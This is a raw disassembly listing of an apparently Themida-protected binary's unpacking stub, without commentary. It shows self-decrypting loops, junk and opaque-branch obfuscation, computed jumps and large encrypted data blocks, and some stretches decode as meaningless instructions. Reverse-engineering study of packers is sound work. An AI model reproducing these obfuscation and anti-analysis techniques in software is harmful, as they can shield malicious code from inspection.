mov eax, [edx+14h]
mov [ebp+7E422B9h], eax
mov eax, [edx+18h]
push ebx
jmp loc_5F7811
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E40A59h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E406A5h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E41811h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E40919h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E422FDh]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E41581h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E41E15h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E40AEDh]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E402D5h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E41D49h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E41E8Dh]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E42291h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E41D5Dh]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E42BF1h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E40635h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
push dword ptr [ebp+7E40E15h]
jmp loc_5F7825
; ---------------------------------------------------------------------------
loc_5F7811: ; CODE XREF: sub_5F76F7+65j
mov ebx, eax
mov eax, 0Bh
mul bx
lea ecx, [ebp+7EB52D6h]
add ecx, eax
jmp ecx
; ---------------------------------------------------------------------------
loc_5F7825: ; CODE XREF: sub_5F76F7+70j
; sub_5F76F7+7Bj ...
call dword ptr [ebp+7E43061h]
pop ebx
loc_5F782C: ; CODE XREF: sub_5F76F7+14Ej
mov eax, [ebp+7E41B71h]
cmp [eax+4], ebx
jnz loc_5F784A
push ebx
push 1
call dword ptr [ebp+7E40E41h]
pop ebx
jmp loc_5F782C
; ---------------------------------------------------------------------------
loc_5F784A: ; CODE XREF: sub_5F76F7+13Ej
popa
pop edx
retn
; ---------------------------------------------------------------------------
loc_5F784D: ; CODE XREF: sub_5F76F7+18j
popa
pop edx
mov eax, 7E41A8ADh
jmp eax
sub_5F76F7 endp
; ---------------------------------------------------------------------------
mov eax, [ebp+7E42169h]
lea ecx, [ebp+7EB53C4h]
mov [ecx+1], eax
mov eax, ebx
mov byte ptr [ebp+7E42C2Dh], 56h
push 0A9C530DFh
push dword ptr [ebp+7E42141h]
lea eax, [ebp+7E7B0A7h]
call eax
lea ecx, [ebp+7E426C1h]
push ecx
push 40h
push dword ptr [ebp+7E406EDh]
push dword ptr [ebp+7E40929h]
call eax
push dword ptr [ebp+7E406EDh]
push dword ptr [ebp+7E40929h]
call sub_5F78AE
or al, 46h
fild dword ptr [esi+esi*4]
; =============== S U B R O U T I N E =======================================
sub_5F78AE proc near ; CODE XREF: Themida_:005F78A4p
arg_4 = dword ptr 8
pop edi
pop edi
sub edi, 4
shr [esp-8+arg_4], 2
shl [esp-8+arg_4], 2
add edi, [esp-8+arg_4]
neg [esp-8+arg_4]
mov edx, 0
loc_5F78C6: ; CODE XREF: sub_5F78AE:loc_5F78F5j
push dword ptr [edx+edi]
pop ebx
sub ebx, 41212367h
add ebx, 5144434Dh
add ebx, 5475ADADh
mov [edi+edx], ebx
sub edx, 4
cmp edx, [esp-8+arg_4]
jnz loc_5F78F5
jmp loc_5F790A
; ---------------------------------------------------------------------------
dd 4B12306Eh
db 0E9h
; ---------------------------------------------------------------------------
loc_5F78F5: ; CODE XREF: sub_5F78AE+37j
jmp loc_5F78C6
; ---------------------------------------------------------------------------
imul ebx, [eax+3Ah], 5Ch
mov eax, ds:0EB79223Ch
mov [ebx-266D1692h], bl
loc_5F790A: ; CODE XREF: sub_5F78AE+3Dj
lea ebx, [ebp+7E40405h]
mov eax, [ebx]
or eax, eax
jz loc_5F7921
mov eax, [ebx]
mov ebx, [ebx+4]
mov [eax], ebx
loc_5F7921: ; CODE XREF: sub_5F78AE+66j
mov ecx, ecx
call near ptr loc_5F793B+1
add ah, [edi-4E27C56Ch]
push ds
out 37h, al
movsd
outsd
and al, 0D9h
xor cl, [esi-5DE83ED3h]
loc_5F793B: ; CODE XREF: sub_5F78AE+75p
mov eax, large ds:6E8h
sub_5F78AE endp ; sp-analysis failed
add [esi+edx+26h], bl
bound esi, [edx]
imul eax, [ecx-3DF2D80Dh], 80595F74h
jmp short near ptr loc_5F7979+3
; ---------------------------------------------------------------------------
add ecx, 632Bh
pusha
jmp loc_5F796D
; ---------------------------------------------------------------------------
dw 0DE3Ah
dd 4B0A77E6h, 80041D81h, 18468BA9h
db 23h
; ---------------------------------------------------------------------------
loc_5F796D: ; CODE XREF: Themida_:005F7959j
popa
mov esi, 5D39CD7Bh
sub esi, 5D39B4E0h
loc_5F7979: ; CODE XREF: Themida_:005F7950j
jmp loc_5F7985
; ---------------------------------------------------------------------------
dw 0F207h
dd 0F930DBD2h
db 7Ah
; ---------------------------------------------------------------------------
loc_5F7985: ; CODE XREF: Themida_:loc_5F7979j
; Themida_:005F79E2j
push dword ptr [ecx]
pop eax
mov dh, 3Ah
sub eax, 1F9F3Ah
mov dh, bl
sub eax, 0F9A6FC8h
add eax, 53785ACBh
jmp loc_5F79B0
; ---------------------------------------------------------------------------
db 0A0h
dd 705737D8h, 0AD54394Ch, 9F23C51h
; ---------------------------------------------------------------------------
loc_5F79B0: ; CODE XREF: Themida_:005F799Ej
push eax
jg loc_5F79BD
or edx, 7606110Ah
loc_5F79BD: ; CODE XREF: Themida_:005F79B1j
pop dword ptr [ecx]
js loc_5F79CA
xor dx, 452Eh
loc_5F79CA: ; CODE XREF: Themida_:005F79BFj
sub ecx, 4
jnz loc_5F79DC
ja loc_5F79DC
or bl, 19h
loc_5F79DC: ; CODE XREF: Themida_:005F79CDj
; Themida_:005F79D3j
sub esi, 1
jnz loc_5F7985
xor dh, 94h
lea ecx, [ebp+7EB55CEh]
mov [ebp+7E41B71h], ecx
push 0
push edx
call sub_5F7A02
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F7A02 proc near ; CODE XREF: Themida_:005F79FAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5F7A02 endp
; ---------------------------------------------------------------------------
fsubp st(3), st
mov dword ptr [ebp+7E42DA1h], 5E1Ch
clc
mov dword ptr [ebp+7E422B9h], 0
xor si, 0DB39h
push dword ptr [ebp+7E406A5h]
xor edx, [ebp+7E42AD9h]
call dword ptr [ebp+7E43061h]
pusha
xor ecx, 53BE0282h
jmp loc_5F7A51
; ---------------------------------------------------------------------------
loc_5F7A4C: ; CODE XREF: Themida_:005F7AA7j
db 65h
dec ecx
cdq
aam 1Fh
loc_5F7A51: ; CODE XREF: Themida_:005F7A47j
popa
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5F7A9B
; ---------------------------------------------------------------------------
dw 4CF9h
dd 7CECDF50h, 3E25AEA6h, 66AEA9BDh, 0BF0C2751h, 37CE5484h
dd 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh, 4DE17498h, 735F9B77h
dd 33F81767h, 18E3B631h, 3F9EEA16h, 48D9AAA8h
db 11h, 0A8h, 7Ch
; ---------------------------------------------------------------------------
loc_5F7A9B: ; CODE XREF: Themida_:005F7A5Cj
call sub_5F7AAB
fsubp st(2), st
xchg eax, esi
fidiv dword ptr [ebx+edi*4+36h]
jbe short loc_5F7A4C
retn
; ---------------------------------------------------------------------------
db 6Ah
; =============== S U B R O U T I N E =======================================
sub_5F7AAB proc near ; CODE XREF: Themida_:loc_5F7A9Bp
adc cx, 9194h
pop esi
push esi
mov ecx, [ebp+7E40979h]
pop edx
add esi, 7181h
mov dl, 23h
mov edi, 0D4EC6Bh
xor edi, 0D4F05Fh
mov cx, di
loc_5F7ACF: ; CODE XREF: sub_5F7AAB:loc_5F7B43j
mov ebx, [esi]
add [ebp+7E42451h], ecx
add ebx, 65927195h
jno loc_5F7AE5
mov ch, 0E6h
loc_5F7AE5: ; CODE XREF: sub_5F7AAB+32j
sub ebx, 147B825Ah
xor edx, 63DF8C0Fh
xor ebx, 39170502h
sub eax, [ebp+7E405C5h]
push ebx
mov edx, [ebp+7E41F1Dh]
pop dword ptr [esi]
mov edx, [ebp+7E4067Dh]
sub esi, 4
pusha
mov edi, [ebp+7E42A69h]
mov si, bx
popa
sub edi, 1
jnz loc_5F7B43
mov [ebp+7E41505h], eax
jmp loc_5F7B55
; ---------------------------------------------------------------------------
db 32h, 5Ah, 19h
dd 44025A95h, 2E7C34D6h, 2247D36Ch
db 0E2h, 0E5h, 0B4h
; ---------------------------------------------------------------------------
loc_5F7B43: ; CODE XREF: sub_5F7AAB+75j
jmp loc_5F7ACF
; ---------------------------------------------------------------------------
dd 0FB4D6C4h, 0C8AFF110h, 418B22A6h
db 34h
; ---------------------------------------------------------------------------
loc_5F7B55: ; CODE XREF: sub_5F7AAB+81j
jmp loc_5F7B65
; ---------------------------------------------------------------------------
dw 84Fh
dd 4919h, 0
db 0
; ---------------------------------------------------------------------------
loc_5F7B65: ; CODE XREF: sub_5F7AAB:loc_5F7B55j
jmp loc_5F8078
; ---------------------------------------------------------------------------
push 7EB57DEh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB5847h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB59D5h
jmp loc_58A287
; ---------------------------------------------------------------------------
dd 0C5597B53h, 22B6D6AFh, 8216300Ch, 0E5798D6Ch, 44D8F4CFh
dd 0F1CC856Bh, 512B41D5h, 0AB899F33h, 0EEB0195h, 0FFAF62F6h
dd 0A9F6FD82h, 85145913h, 275F7B56h, 53317C59h, 116A053Dh
dd 7D315E7Dh, 8B32B02Dh, 178013A6h, 69FA55C7h, 7A53409Dh
dd 9E10A268h, 4F7E1D49h, 40394BA4h, 13A6CFBFh, 134BFB0Ch
dd 0D877A2ECh, 38FD38AAh, 709EA466h, 31CBF5Eh, 41DF0000h
dd 79144C64h, 0C7459267h, 50A00E81h, 0A68C05D3h, 963D313h
dd 323C87Fh, 46515AB3h, 0EEC3E5CCh, 1D6D414Eh, 0DCBB59BBh
dd 8AF590C8h, 110B2AF5h, 0EDE6F861h, 16EF2B8Fh, 0E5BCF45Dh
dd 52B404AAh, 84BCDAB4h, 0C1DED7E9h, 8D1E8B10h, 5936D424h
dd 8A16340Eh, 0BE5991B1h, 0DEBBD165h, 0D59572C6h, 0B2F25CEFh
dd 3742Ch, 3A5C3400h, 97B790A6h, 0F711ED03h, 5A6E4D63h
dd 0B9D5B0C6h, 0ADA64C25h, 0C22B6D2h, 6A801432h, 0CCE2768Ch
dd 9043D7EFh, 0F79C63E0h, 0F53A13A9h, 6C424D66h, 0F60F9F1Ch
dd 0DC4513A9h, 0FA10EE8Ch, 916C0AE8h, 6907E175h, 64906D8Ch
dd 0C330FD63h, 633E586Ah, 66620F47h, 0F9EC5699h, 61B0041Ch
dd 3A6A15D5h, 30B74FAh, 0C59D0000h, 20F90FA3h, 7A566C00h
dd 0D7B6CC60h, 3E192FC3h, 4FB58E22h, 8B1F3B16h, 0E97D9B75h
dd 4BDFF5D3h, 0AC405835h, 37CC49F9h, 0A313A9F8h, 424DCF5Eh
dd 0A57E1C6Ch, 0A0B24D85h, 0F66945C2h, 82EB13A9h, 0A1B59432h
dd 1A6ECE69h, 0EEDEF54h, 46F3B9CBh, 13A923B5h, 19450112h
dd 0D8709AE6h, 193912B0h, 1C3813E1h, 0DB12B1C3h, 32000001h
dd 2BAC53D0h, 0BA2A13A9h, 14F66A89h, 95A7000Eh, 617956C0h
dd 667E5B29h, 1996F8D2h, 1442A062h, 0AF23F4E1h, 0A8F9E09Bh
dd 8D72EF3Fh, 49144238h, 0E4ABCEE0h, 0FFDC7ACAh, 214AFE7h
dd 0D750C224h, 54B67035h, 292C128Fh, 84DD578Bh, 0D3777972h
dd 0D43D13A6h, 0EE980A9Ch, 126917E4h, 0F38C8597h, 5813A6BDh
dd 0A05F1F47h, 35D87800h, 34h, 65424D5Eh, 0A8836FECh, 0CBF82C8Ch
dd 0CD26421Dh, 24C22474h, 59F42C4Ah, 0B5984E47h, 0ED5613A6h
dd 857708B5h, 0C3D413A6h, 0EC24DB83h, 0BBB1D877h, 0DA000000h
dd 502E7956h, 0DBA9E13Ah, 8B70ED00h, 471442A0h, 0BB4D85DEh
dd 1426421Dh, 0CD051DFAh, 0AABE9D3Bh, 0ABC5D772h, 466B6CEh
dd 84BF6792h, 96012DF9h, 1442BFE1h, 0BF0AF16Eh, 5FC81442h
dd 3F19A50Eh, 3C4EE921h, 0BB84251Ah, 0BE9B1442h, 9CF312A6h
dd 91EA02DFh, 6366C441h, 57F513A4h, 6D4C5E7Eh, 3B16B404h
dd 0C7C99E18h, 50A9951Bh, 0AFCBA6BCh, 19D6C05Bh, 29AFEF6Ah
dd 17Dh, 9D31532Bh, 0FA8EAE87h, 5AEE08E4h, 0BD516544h
dd 1CB0CCA7h, 0C9A4BD43h, 290319ADh, 8361770Bh, 0E6C3D96Dh
dd 0D7873ACEh, 0A9F9A55Ah, 5DEC3113h, 0CB5F7B56h, 5F7553F1h
dd 3E56334Dh, 3092D9AAh, 42A0CCB3h, 0F218A14h, 0F2CD18F5h
dd 0BB2D7DD6h, 0D5CD2B5Eh, 975D6F41h, 40D4ECC9h, 0F0406E21h
dd 0A6E46F73h, 74C42D13h, 0D3ACFBD6h, 3089A580h, 76943D7h
dd 0FB5328A5h, 96FF13A6h, 0A6FB542Bh, 0D990213h, 47E21A2Eh
dd 0FB433C35h, 9E1013A6h, 0EA9CD74h, 0F27A59FEh, 0EE27CC2Ch
dd 0B693ADBFh, 19F40A9Eh, 340FADFDh, 0E545E018h, 7F444D81h
dd 2FF5072Eh, 0C4A9h, 424D3800h, 0B435D39h, 27DB5C69h
dd 29823734h, 0B70380D0h, 0A613A9ABh, 0D8102E08h, 0BA132F0Ah
dd 1416ED6Ah, 5BC413A9h, 0B1016A49h, 0AC9B353Fh, 0C9DB1983h
dd 40583503h, 5D7552F0h, 61169325h, 0ED13A931h, 0F7192B84h
dd 9CEC04E1h, 0FAD522FEh, 0B20BA6DEh, 532DDAA0h, 305D5B65h
dd 0AF8CF3B3h, 25D54797h, 0A3C39C0Ch, 0F370D06Bh, 9FC1D33Ah
dd 568DAC89h, 0D4E86907h, 5991AB87h, 981565BEh, 429F0CE3h
dd 5DAD066Fh, 49F4A6EBh, 74F05070h, 7C425483h, 0DDB4CFAEh
dd 0BB423E16h, 762D65BEh, 9B78E79Fh, 0DE680F8Ch, 0D2AB429Fh
dd 0A8F861B2h, 9FDE542Bh, 40990242h, 0A1B996ACh, 3E369h
dd 8D720000h, 5C7E563Eh, 61795624h, 677D5B29h, 6987612Fh
dd 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h
dd 8953EE43h, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h
dd 3DC6824h, 34890000h, 773B6824h, 3C890000h, 0BF575524h
dd 2AC7233Bh, 3263DCBDh, 5FFD2969h, 80165CBEh, 5DEE01C9h
dd 4EC81h, 24890000h, 24048324h, 65685F04h, 89000015h
dd 478F2434h, 2434FF08h, 4C4815Fh, 0FF000000h, 835E2434h
dd 1CE904C4h, 0A5FFF922h, 0D2059E50h, 5A302644h, 0D35119Fh
; ---------------------------------------------------------------------------
loc_5F8078: ; CODE XREF: sub_5F7AAB:loc_5F7B65j
mov eax, 7EB5B77h
add eax, ebp
jmp eax
sub_5F7AAB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7Bh, 6Dh, 63h
; ---------------------------------------------------------------------------
inc ecx
retf 0F100h
; ---------------------------------------------------------------------------
dd 0AD0A5D7Ch, 188B825h, 901F7E6Ch, 0C8C13232h, 2C22AD50h
dd 704F6F07h, 7CBA9C77h, 0BFE26F07h, 0C93B556h, 0DC754D54h
dd 8D030308h, 0C544265Fh, 711EF501h, 0ABCE3625h, 9637818h
dd 0C0379617h, 4963582Bh, 0B66B2A10h, 0AE6D1A56h, 0CE4D0A29h
dd 11E83Fh, 456F0000h, 0B8641871h, 0EBA35E1Fh, 0F352109Ah
dd 0B62E2F5Eh, 81665BD9h, 81177FDAh, 5C9FC3h, 0F08B6600h
dd 0D3CB8B9h, 0BAE9813Fh, 0F3F0D25h, 33FFD6B7h, 5FF28B66h
dd 0F6BE5356h, 5A4D7A83h, 0F2C7815Eh, 0BA7BC6E7h, 788136E0h
dd 9E51F781h, 14E94FC3h, 0CD000000h, 8421F666h, 40468346h
dd 13E21F0h, 0C5722948h, 819AA588h, 89179BF7h, 57D78B76h
dd 69D5DA81h, 38F4E5Ch, 81C2BF0Fh, 6210EAEBh, 0CA816668h
dd 0C38174D0h, 686210E6h, 49C1BF0Fh, 0FF98850Fh, 0EE9FFFFh
dd 88000000h, 46BB64E9h, 286687C8h, 101CA3A9h, 5E824h
dd 0FCE90000h, 0E99E01FCh, 0Bh, 732A6376h, 0A962A740h
dd 5B3EBDC5h, 0AE8h, 76FDE00h, 9B40D7F9h, 0E90E43A6h, 0Ch
dd 5C9E4910h, 0D3A80EE5h, 87EFA7E3h, 79C3815Eh, 0E9000059h
dd 9, 0BFC105D7h, 6DAB73E3h, 163168B5h, 0E95F0000h, 10h
dd 7A298084h, 32927872h, 0CE9973B9h, 0A1A659E2h, 0EA81038Bh
dd 1E1C20A1h, 9543F081h, 81F96BCEh, 305371C0h, 0D18B6017h
dd 61D7BF0Fh, 0E20EE881h, 6E96B82h, 3000000h, 4051C91Ah
dd 0F5038955h, 0F04EB83h, 38Ah, 0CFB70F00h, 1EF81h, 850F0000h
dd 0FFFFFFB8h, 5820Fh, 81660000h, 8B2234C1h, 0F1BD83C0h
dd 7E413h, 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h
dd 421h, 14798589h, 9D8D07E4h, 7E6E9F0h, 585BD3FFh, 935BD83h
dd 740007E4h, 0B8535017h, 421h, 14798589h, 9D8D07E4h, 7E6E6DFh
dd 585BD3FFh, 9D8BC08Bh, 7E415DDh, 2C2D85C6h, 685607E4h
dd 9CA8B852h, 2141B5FFh, 858D07E4h, 7E7B0A7h, 46AD0FFh
dd 100068h, 1B5FF00h, 6A07E41Ah, 85D0FF00h, 0D850FC0h
dd 0B8000000h, 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+7E472B7h]
jmp ecx
; ---------------------------------------------------------------------------
dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 5BD83D3h, 7E404h
dd 0E840Fh, 9D8B0000h, 7E40405h, 3215858Bh, 38907E4h, 858D5251h
dd 7E44452h, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 2C2D85C6h
dd 685607E4h, 0D41F6D39h, 2141B5FFh, 858D07E4h, 7E7B0A7h
dd 68D0FFh, 6A000080h, 0D0FF5200h, 0BD83C08Bh, 7E413F1h
dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 421B8h
dd 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h
dd 7E409h, 53501774h, 421B8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh
dd 5BD3FF07h, 8DC08B58h, 0E404059Dh, 0B038B07h, 7840FC0h
dd 8B000000h, 45B8B03h, 41B81889h, 0E800004Bh, 6, 0EF7BC23Ch
dd 0B8660F0Bh, 0B95E7607h, 6755B718h, 5A4CC681h, 81660000h
dd 0BAEBA8D1h, 0
; ---------------------------------------------------------------------------
jg loc_5F83EA
jmp loc_5F83EA
; ---------------------------------------------------------------------------
retn 6709h
; ---------------------------------------------------------------------------
dw 0F35Dh
dd 1F18C233h, 0E4D73DFEh
; ---------------------------------------------------------------------------
mov esi, [ebx]
; START OF FUNCTION CHUNK FOR sub_5F841C
loc_5F83EA: ; CODE XREF: Themida_:005F83D0j
; Themida_:005F83D6j ...
push dword ptr [edx+esi]
and ebx, 2BA3CD68h
pop edi
xor ch, 0A3h
add edi, 31D8A442h
pusha
add ebx, 3B80EF7Ch
pusha
mov cx, 0A1ECh
call sub_5F841C
jnp short near ptr dword_5F82DC+0F0h
; END OF FUNCTION CHUNK FOR sub_5F841C
; ---------------------------------------------------------------------------
dd 6C09598Fh, 295C8234h, 0A9DE07FEh
; =============== S U B R O U T I N E =======================================
sub_5F841C proc near ; CODE XREF: sub_5F841C-13p
; FUNCTION CHUNK AT 005F83EA SIZE 00000026 BYTES
pop eax
popa
popa
add edi, 15DFD16Eh
and bl, 0C0h
add edi, 1071B172h
mov eax, ebx
mov [esi+edx], edi
cmc
sbb ax, 0D23Ch
sub edx, 1
jno loc_5F8447
pusha
mov ch, 53h
cld
popa
loc_5F8447: ; CODE XREF: sub_5F841C+20j
dec edx
dec edx
dec edx
pusha
mov edx, 2E765561h
mov edi, edx
popa
cmp edx, 0FFFFA664h
jnz loc_5F83EA
push eax
add ah, 1Ch
pop eax
call sub_5F8479
sub_5F841C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3Dh, 22h, 70h
dd 5150BE21h, 26E8C3E9h, 0BC0451Ch
db 0DEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5F8479 proc near ; CODE XREF: sub_5F841C+48p
call loc_5F8492
pushf
dec dword ptr [ecx+eax*4+6434DED8h]
and al, 0FCh
jmp near ptr 0C6F2690Dh
sub_5F8479 endp
; ---------------------------------------------------------------------------
mov al, ds:90395096h
loc_5F8492: ; CODE XREF: sub_5F8479p
js loc_5F84AE
jmp loc_5F84AE
; ---------------------------------------------------------------------------
pop ds
retn 0BDCCh
; ---------------------------------------------------------------------------
db 0BFh, 0Fh, 75h
dd 0A7B39804h, 0E01BD07Fh
db 0BDh, 0EBh
; ---------------------------------------------------------------------------
loc_5F84AE: ; CODE XREF: Themida_:loc_5F8492j
; Themida_:005F8498j
pop ecx
pop eax
jmp loc_5F84C0
; ---------------------------------------------------------------------------
db 0B5h, 7Eh, 25h
dd 0E952B6CEh, 7CBCDA8Eh
; ---------------------------------------------------------------------------
loc_5F84C0: ; CODE XREF: Themida_:005F84B0j
add eax, 0E811h
mov esi, ecx
sub edx, edx
jmp loc_5F84D8
; ---------------------------------------------------------------------------
db 74h
dd 84F8B25Dh, 0BBC9F42Fh
; ---------------------------------------------------------------------------
loc_5F84D8: ; CODE XREF: Themida_:005F84CAj
; Themida_:005F8539j
push dword ptr [edx+eax]
clc
pop edi
mov ch, ah
sub edi, 7F0B0CBCh
xor edi, 148F6489h
jge loc_5F8504
jmp loc_5F8504
; ---------------------------------------------------------------------------
mov ds:483859ACh, eax
loc_5F84FB: ; CODE XREF: Themida_:005F8555j
xchg dl, [esi-2B54D312h]
; ---------------------------------------------------------------------------
db 31h, 91h, 0E1h
; ---------------------------------------------------------------------------
loc_5F8504: ; CODE XREF: Themida_:005F84EBj
; Themida_:005F84F1j
sub edi, 2F0BCFFBh
jmp loc_5F851D
; ---------------------------------------------------------------------------
db 6Dh
dd 0E26EF24Bh, 0C9CB43B9h, 0E4896FC0h
db 15h
; ---------------------------------------------------------------------------
loc_5F851D: ; CODE XREF: Themida_:005F850Aj
mov [eax+edx], edi
jmp loc_5F852A
; ---------------------------------------------------------------------------
pop ecx
aam 5Fh
mov dl, 0F2h
loc_5F852A: ; CODE XREF: Themida_:005F8520j
sub edx, 2
cld
dec edx
dec edx
add ch, 78h
cmp edx, 0FFFF18D0h
jnz loc_5F84D8
jno loc_5F854E
js loc_5F854E
loc_5F854B: ; CODE XREF: Themida_:005F8553j
add bl, 4Ah
loc_5F854E: ; CODE XREF: Themida_:005F853Fj
; Themida_:005F8545j
push ebp
in eax, dx
std
jnz short loc_5F85B1 ; CODE XREF: Themida_:005F85B9j
jp short loc_5F854B
jbe short loc_5F84FB
imul esp, esi, 0FD49BC56h
or [edx+25h], eax
std
outsd
insb
and eax, 257AACFDh
std
add bh, dh
and eax, 253BFCFDh
std
jmp far ptr 25A8h:0B3FD25D9h
; ---------------------------------------------------------------------------
db 0FDh, 90h, 10h
; ---------------------------------------------------------------------------
loc_5F857B: ; CODE XREF: Themida_:005F85E9j
and eax, 254C8FFDh
std
retf 256Dh
; ---------------------------------------------------------------------------
dd 257A83FDh
db 0FDh, 0E4h
; ---------------------------------------------------------------------------
loc_5F858A: ; CODE XREF: Themida_:005F85BDj
; Themida_:loc_5F85ABj ...
lock and eax, 253441FDh
std
db 26h
setalc
and eax, 25A703FDh
std
iret
; ---------------------------------------------------------------------------
dw 251Eh
; ---------------------------------------------------------------------------
std
loc_5F859D: ; CODE XREF: Themida_:005F85F5j
adc eax, [edx+25h]
std
popf
and eax, 2295358Ah
; ---------------------------------------------------------------------------
db 0A2h
db 0D6h, 76h
; ---------------------------------------------------------------------------
loc_5F85AA: ; CODE XREF: Themida_:005F85DDj
dec edx
loc_5F85AB: ; CODE XREF: Themida_:005F85EDj
jno short near ptr loc_5F858A+1
pop esp
; ---------------------------------------------------------------------------
word_5F85AE dw 4BBDh ; CODE XREF: Themida_:005F85B7j
; ---------------------------------------------------------------------------
loc_5F85B0: ; CODE XREF: Themida_:005F85C1j
hlt
; ---------------------------------------------------------------------------
loc_5F85B1: ; CODE XREF: Themida_:005F8551j
pop esp
loc_5F85B2: ; CODE XREF: Themida_:005F85B3j
pop edx
jp short loc_5F85B2
jnz short near ptr loc_5F85DD+1
jb short near ptr word_5F85AE
jnz short near ptr loc_5F8551+1 ; CODE XREF: Themida_:005F85BBj
; Themida_:005F85C3j ...
jns short near ptr loc_5F85B9+1
jz short loc_5F858A ; CODE XREF: Themida_:005F85BFj
js short near ptr loc_5F85BD+1
jnb short loc_5F85B0
jge short near ptr loc_5F85B9+1
loc_5F85C5: ; CODE XREF: Themida_:loc_5F85C7j
jz short near ptr loc_5F85B9+1
loc_5F85C7: ; CODE XREF: Themida_:loc_5F85E1j
jnp short loc_5F85C5
loc_5F85C9: ; CODE XREF: Themida_:005F85CBj
jz short loc_5F8643
jnp short loc_5F85C9
jnz short near ptr loc_5F858A+1 ; CODE XREF: Themida_:005F85CFj
jp short near ptr loc_5F85CD+1
jnz short loc_5F8631 ; CODE XREF: Themida_:005F85D3j
jp short near ptr loc_5F85D1+1
jbe short near ptr loc_5F85E3+1
mov fs:0A265DE75h, al ; CODE XREF: Themida_:loc_5F85E5j
loc_5F85DD: ; CODE XREF: Themida_:005F85B5j
; Themida_:005F85DFj
jnz short loc_5F85AA
jp short near ptr loc_5F85DD+1
loc_5F85E1: ; CODE XREF: Themida_:loc_5F85E3j
jnz short loc_5F85C7
loc_5F85E3: ; CODE XREF: Themida_:005F85D5j
jnp short loc_5F85E1
loc_5F85E5: ; CODE XREF: Themida_:005F85E7j
jz short near ptr loc_5F85D7+3
jnp short loc_5F85E5
jz short loc_5F857B
mov dl, 0F8h
jnz short loc_5F85AB
sbb dh, [eax-10h]
test [esi], ebx
push ss
jb short loc_5F859D
; ---------------------------------------------------------------------------
db 0FFh
dd 7D7C14EFh
db 70h
; ---------------------------------------------------------------------------
loc_5F85FD: ; CODE XREF: Themida_:005F8655j
lock cmp bl, [esi]
push ss
jb short loc_5F866F
jmp fword ptr [edi]
; ---------------------------------------------------------------------------
adc eax, 0F0707D19h
loc_5F860A: ; CODE XREF: Themida_:loc_5F8631j
push esi
pop ds
push ss
jb short near ptr loc_5F8643+1
push ebx
adc al, 0B5h
jge short loc_5F8685
lock mov al, ds:1E72161Eh
jmp fword ptr [ebx]
; ---------------------------------------------------------------------------
db 15h, 20h, 7Dh
dd 1EABF070h, 0FF7B7216h, 7D921527h, 1850F070h
; ---------------------------------------------------------------------------
push ss
loc_5F8631: ; CODE XREF: Themida_:loc_5F85D1j
jb short loc_5F860A
jmp dword ptr [ebx]
; ---------------------------------------------------------------------------
db 15h, 0C4h, 7Dh
db 70h, 0F0h, 69h
; ---------------------------------------------------------------------------
loc_5F863B: ; CODE XREF: Themida_:005F8649j
sbb [esi], dl
jb short near ptr loc_5F867D+4
call fword ptr [edi]
; ---------------------------------------------------------------------------
db 15h, 0Eh
; ---------------------------------------------------------------------------
loc_5F8643: ; CODE XREF: Themida_:loc_5F85C9j
; Themida_:005F860Dj
jge short near ptr loc_5F86B2+3
lock out 19h, al
push ss
jb short loc_5F863B
call fword ptr [ebx]
adc eax, 0F0707D57h
xor [ecx], ebx
push ss
jb short loc_5F85FD
dec dword ptr [edi]
adc eax, 0F0707D7Ch
lock sbb [esi], edx
jb short loc_5F86CF
call dword ptr [edi]
adc eax, 0F0707D19h
and ebx, [ecx]
push ss
jb short near ptr loc_5F86A3+1
loc_5F866F: ; CODE XREF: Themida_:005F8601j
call dword ptr [ebx]
adc eax, 0F0707DB5h
inc eax
sbb [esi], edx
jb short loc_5F8699
dec dword ptr [edi]
loc_5F867D: ; CODE XREF: Themida_:005F863Dj
adc eax, 0F0707D20h
dec esp
sbb [esi], edx
loc_5F8685: ; CODE XREF: Themida_:005F8613j
jb short loc_5F8702
; ---------------------------------------------------------------------------
db 0FFh
dd 7D9214FFh, 1974F070h, 0FFD77216h, 7DC414FBh
db 70h
; ---------------------------------------------------------------------------
loc_5F8699: ; CODE XREF: Themida_:005F8679j
; Themida_:005F86A9j
lock jl short near ptr loc_5F86B2+3
push ss
jb short loc_5F86E1
push edi
adc al, 0Eh
loc_5F86A3: ; CODE XREF: Themida_:005F866Dj
jge short near ptr loc_5F8713+2
